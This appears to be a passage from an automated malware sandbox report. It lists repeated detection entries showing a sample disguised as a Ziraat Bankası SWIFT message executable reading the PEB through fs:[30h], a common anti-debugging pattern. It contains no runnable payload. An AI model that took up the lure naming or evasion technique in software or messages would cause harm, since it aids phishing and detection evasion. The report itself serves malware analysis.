          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A002D mov eax, dword ptr fs:[00000030h]6_2_012A002D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A002D mov eax, dword ptr fs:[00000030h]6_2_012A002D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A002D mov eax, dword ptr fs:[00000030h]6_2_012A002D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A002D mov eax, dword ptr fs:[00000030h]6_2_012A002D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A002D mov eax, dword ptr fs:[00000030h]6_2_012A002D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A830 mov eax, dword ptr fs:[00000030h]6_2_0129A830
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A830 mov eax, dword ptr fs:[00000030h]6_2_0129A830
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A830 mov eax, dword ptr fs:[00000030h]6_2_0129A830
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A830 mov eax, dword ptr fs:[00000030h]6_2_0129A830
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01344015 mov eax, dword ptr fs:[00000030h]6_2_01344015
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01344015 mov eax, dword ptr fs:[00000030h]6_2_01344015
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F7016 mov eax, dword ptr fs:[00000030h]6_2_012F7016
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F7016 mov eax, dword ptr fs:[00000030h]6_2_012F7016
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F7016 mov eax, dword ptr fs:[00000030h]6_2_012F7016
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01332073 mov eax, dword ptr fs:[00000030h]6_2_01332073
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01341074 mov eax, dword ptr fs:[00000030h]6_2_01341074
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01290050 mov eax, dword ptr fs:[00000030h]6_2_01290050
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01290050 mov eax, dword ptr fs:[00000030h]6_2_01290050
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B90AF mov eax, dword ptr fs:[00000030h]6_2_012B90AF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0 mov eax, dword ptr fs:[00000030h]6_2_012A20A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0 mov eax, dword ptr fs:[00000030h]6_2_012A20A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0 mov eax, dword ptr fs:[00000030h]6_2_012A20A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0 mov eax, dword ptr fs:[00000030h]6_2_012A20A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0 mov eax, dword ptr fs:[00000030h]6_2_012A20A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0 mov eax, dword ptr fs:[00000030h]6_2_012A20A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AF0BF mov ecx, dword ptr fs:[00000030h]6_2_012AF0BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AF0BF mov eax, dword ptr fs:[00000030h]6_2_012AF0BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AF0BF mov eax, dword ptr fs:[00000030h]6_2_012AF0BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279080 mov eax, dword ptr fs:[00000030h]6_2_01279080
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F3884 mov eax, dword ptr fs:[00000030h]6_2_012F3884
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F3884 mov eax, dword ptr fs:[00000030h]6_2_012F3884
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012740E1 mov eax, dword ptr fs:[00000030h]6_2_012740E1
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012740E1 mov eax, dword ptr fs:[00000030h]6_2_012740E1
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012740E1 mov eax, dword ptr fs:[00000030h]6_2_012740E1
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012758EC mov eax, dword ptr fs:[00000030h]6_2_012758EC
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129B8E4 mov eax, dword ptr fs:[00000030h]6_2_0129B8E4
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129B8E4 mov eax, dword ptr fs:[00000030h]6_2_0129B8E4
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130B8D0 mov eax, dword ptr fs:[00000030h]6_2_0130B8D0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130B8D0 mov ecx, dword ptr fs:[00000030h]6_2_0130B8D0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130B8D0 mov eax, dword ptr fs:[00000030h]6_2_0130B8D0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130B8D0 mov eax, dword ptr fs:[00000030h]6_2_0130B8D0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130B8D0 mov eax, dword ptr fs:[00000030h]6_2_0130B8D0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130B8D0 mov eax, dword ptr fs:[00000030h]6_2_0130B8D0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133131B mov eax, dword ptr fs:[00000030h]6_2_0133131B
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127DB60 mov ecx, dword ptr fs:[00000030h]6_2_0127DB60
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A3B7A mov eax, dword ptr fs:[00000030h]6_2_012A3B7A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A3B7A mov eax, dword ptr fs:[00000030h]6_2_012A3B7A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127DB40 mov eax, dword ptr fs:[00000030h]6_2_0127DB40
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01348B58 mov eax, dword ptr fs:[00000030h]6_2_01348B58
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127F358 mov eax, dword ptr fs:[00000030h]6_2_0127F358
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A4BAD mov eax, dword ptr fs:[00000030h]6_2_012A4BAD
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A4BAD mov eax, dword ptr fs:[00000030h]6_2_012A4BAD
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A4BAD mov eax, dword ptr fs:[00000030h]6_2_012A4BAD
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01345BA5 mov eax, dword ptr fs:[00000030h]6_2_01345BA5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01281B8F mov eax, dword ptr fs:[00000030h]6_2_01281B8F
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01281B8F mov eax, dword ptr fs:[00000030h]6_2_01281B8F
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0132D380 mov ecx, dword ptr fs:[00000030h]6_2_0132D380
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133138A mov eax, dword ptr fs:[00000030h]6_2_0133138A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AB390 mov eax, dword ptr fs:[00000030h]6_2_012AB390
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2397 mov eax, dword ptr fs:[00000030h]6_2_012A2397
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129DBE9 mov eax, dword ptr fs:[00000030h]6_2_0129DBE9
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A03E2 mov eax, dword ptr fs:[00000030h]6_2_012A03E2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A03E2 mov eax, dword ptr fs:[00000030h]6_2_012A03E2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A03E2 mov eax, dword ptr fs:[00000030h]6_2_012A03E2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A03E2 mov eax, dword ptr fs:[00000030h]6_2_012A03E2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A03E2 mov eax, dword ptr fs:[00000030h]6_2_012A03E2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A03E2 mov eax, dword ptr fs:[00000030h]6_2_012A03E2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F53CA mov eax, dword ptr fs:[00000030h]6_2_012F53CA
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F53CA mov eax, dword ptr fs:[00000030h]6_2_012F53CA
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]6_2_0129A229
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]6_2_0129A229
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]6_2_0129A229
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]6_2_0129A229
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]6_2_0129A229
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]6_2_0129A229
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]6_2_0129A229
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]6_2_0129A229
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A229 mov eax, dword ptr fs:[00000030h]6_2_0129A229
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B4A2C mov eax, dword ptr fs:[00000030h]6_2_012B4A2C
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B4A2C mov eax, dword ptr fs:[00000030h]6_2_012B4A2C
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01288A0A mov eax, dword ptr fs:[00000030h]6_2_01288A0A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133AA16 mov eax, dword ptr fs:[00000030h]6_2_0133AA16
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133AA16 mov eax, dword ptr fs:[00000030h]6_2_0133AA16
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127AA16 mov eax, dword ptr fs:[00000030h]6_2_0127AA16
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127AA16 mov eax, dword ptr fs:[00000030h]6_2_0127AA16
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01293A1C mov eax, dword ptr fs:[00000030h]6_2_01293A1C
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01275210 mov eax, dword ptr fs:[00000030h]6_2_01275210
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01275210 mov ecx, dword ptr fs:[00000030h]6_2_01275210
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01275210 mov eax, dword ptr fs:[00000030h]6_2_01275210
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01275210 mov eax, dword ptr fs:[00000030h]6_2_01275210
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B927A mov eax, dword ptr fs:[00000030h]6_2_012B927A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0132B260 mov eax, dword ptr fs:[00000030h]6_2_0132B260
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0132B260 mov eax, dword ptr fs:[00000030h]6_2_0132B260
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01348A62 mov eax, dword ptr fs:[00000030h]6_2_01348A62
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133EA55 mov eax, dword ptr fs:[00000030h]6_2_0133EA55
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279240 mov eax, dword ptr fs:[00000030h]6_2_01279240
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279240 mov eax, dword ptr fs:[00000030h]6_2_01279240
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279240 mov eax, dword ptr fs:[00000030h]6_2_01279240
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279240 mov eax, dword ptr fs:[00000030h]6_2_01279240
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01304257 mov eax, dword ptr fs:[00000030h]6_2_01304257
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012752A5 mov eax, dword ptr fs:[00000030h]6_2_012752A5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012752A5 mov eax, dword ptr fs:[00000030h]6_2_012752A5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012752A5 mov eax, dword ptr fs:[00000030h]6_2_012752A5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012752A5 mov eax, dword ptr fs:[00000030h]6_2_012752A5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012752A5 mov eax, dword ptr fs:[00000030h]6_2_012752A5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128AAB0 mov eax, dword ptr fs:[00000030h]6_2_0128AAB0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128AAB0 mov eax, dword ptr fs:[00000030h]6_2_0128AAB0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AFAB0 mov eax, dword ptr fs:[00000030h]6_2_012AFAB0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AD294 mov eax, dword ptr fs:[00000030h]6_2_012AD294
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AD294 mov eax, dword ptr fs:[00000030h]6_2_012AD294
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2AE4 mov eax, dword ptr fs:[00000030h]6_2_012A2AE4
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2ACB mov eax, dword ptr fs:[00000030h]6_2_012A2ACB
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01348D34 mov eax, dword ptr fs:[00000030h]6_2_01348D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133E539 mov eax, dword ptr fs:[00000030h]6_2_0133E539
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A4D3B mov eax, dword ptr fs:[00000030h]6_2_012A4D3B
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A4D3B mov eax, dword ptr fs:[00000030h]6_2_012A4D3B
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A4D3B mov eax, dword ptr fs:[00000030h]6_2_012A4D3B
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127AD30 mov eax, dword ptr fs:[00000030h]6_2_0127AD30
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012FA537 mov eax, dword ptr fs:[00000030h]6_2_012FA537
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01283D34 mov eax, dword ptr fs:[00000030h]6_2_01283D34
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129C577 mov eax, dword ptr fs:[00000030h]6_2_0129C577
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129C577 mov eax, dword ptr fs:[00000030h]6_2_0129C577
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B3D43 mov eax, dword ptr fs:[00000030h]6_2_012B3D43
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F3540 mov eax, dword ptr fs:[00000030h]6_2_012F3540
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01323D40 mov eax, dword ptr fs:[00000030h]6_2_01323D40
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01297D50 mov eax, dword ptr fs:[00000030h]6_2_01297D50
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A35A1 mov eax, dword ptr fs:[00000030h]6_2_012A35A1
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013405AC mov eax, dword ptr fs:[00000030h]6_2_013405AC
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013405AC mov eax, dword ptr fs:[00000030h]6_2_013405AC
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A1DB5 mov eax, dword ptr fs:[00000030h]6_2_012A1DB5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A1DB5 mov eax, dword ptr fs:[00000030h]6_2_012A1DB5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A1DB5 mov eax, dword ptr fs:[00000030h]6_2_012A1DB5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2581 mov eax, dword ptr fs:[00000030h]6_2_012A2581
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2581 mov eax, dword ptr fs:[00000030h]6_2_012A2581
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2581 mov eax, dword ptr fs:[00000030h]6_2_012A2581
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2581 mov eax, dword ptr fs:[00000030h]6_2_012A2581
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01272D8A mov eax, dword ptr fs:[00000030h]6_2_01272D8A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01272D8A mov eax, dword ptr fs:[00000030h]6_2_01272D8A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01272D8A mov eax, dword ptr fs:[00000030h]6_2_01272D8A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01272D8A mov eax, dword ptr fs:[00000030h]6_2_01272D8A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01272D8A mov eax, dword ptr fs:[00000030h]6_2_01272D8A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AFD9B mov eax, dword ptr fs:[00000030h]6_2_012AFD9B
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AFD9B mov eax, dword ptr fs:[00000030h]6_2_012AFD9B
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01328DF1 mov eax, dword ptr fs:[00000030h]6_2_01328DF1
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128D5E0 mov eax, dword ptr fs:[00000030h]6_2_0128D5E0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128D5E0 mov eax, dword ptr fs:[00000030h]6_2_0128D5E0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133FDE2 mov eax, dword ptr fs:[00000030h]6_2_0133FDE2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133FDE2 mov eax, dword ptr fs:[00000030h]6_2_0133FDE2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133FDE2 mov eax, dword ptr fs:[00000030h]6_2_0133FDE2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133FDE2 mov eax, dword ptr fs:[00000030h]6_2_0133FDE2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6DC9 mov eax, dword ptr fs:[00000030h]6_2_012F6DC9
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6DC9 mov eax, dword ptr fs:[00000030h]6_2_012F6DC9
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6DC9 mov eax, dword ptr fs:[00000030h]6_2_012F6DC9
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6DC9 mov ecx, dword ptr fs:[00000030h]6_2_012F6DC9
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6DC9 mov eax, dword ptr fs:[00000030h]6_2_012F6DC9
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6DC9 mov eax, dword ptr fs:[00000030h]6_2_012F6DC9
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012ABC2C mov eax, dword ptr fs:[00000030h]6_2_012ABC2C
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6C0A mov eax, dword ptr fs:[00000030h]6_2_012F6C0A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6C0A mov eax, dword ptr fs:[00000030h]6_2_012F6C0A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F6C0A mov eax, dword ptr fs:[00000030h]6_2_012F6C0A
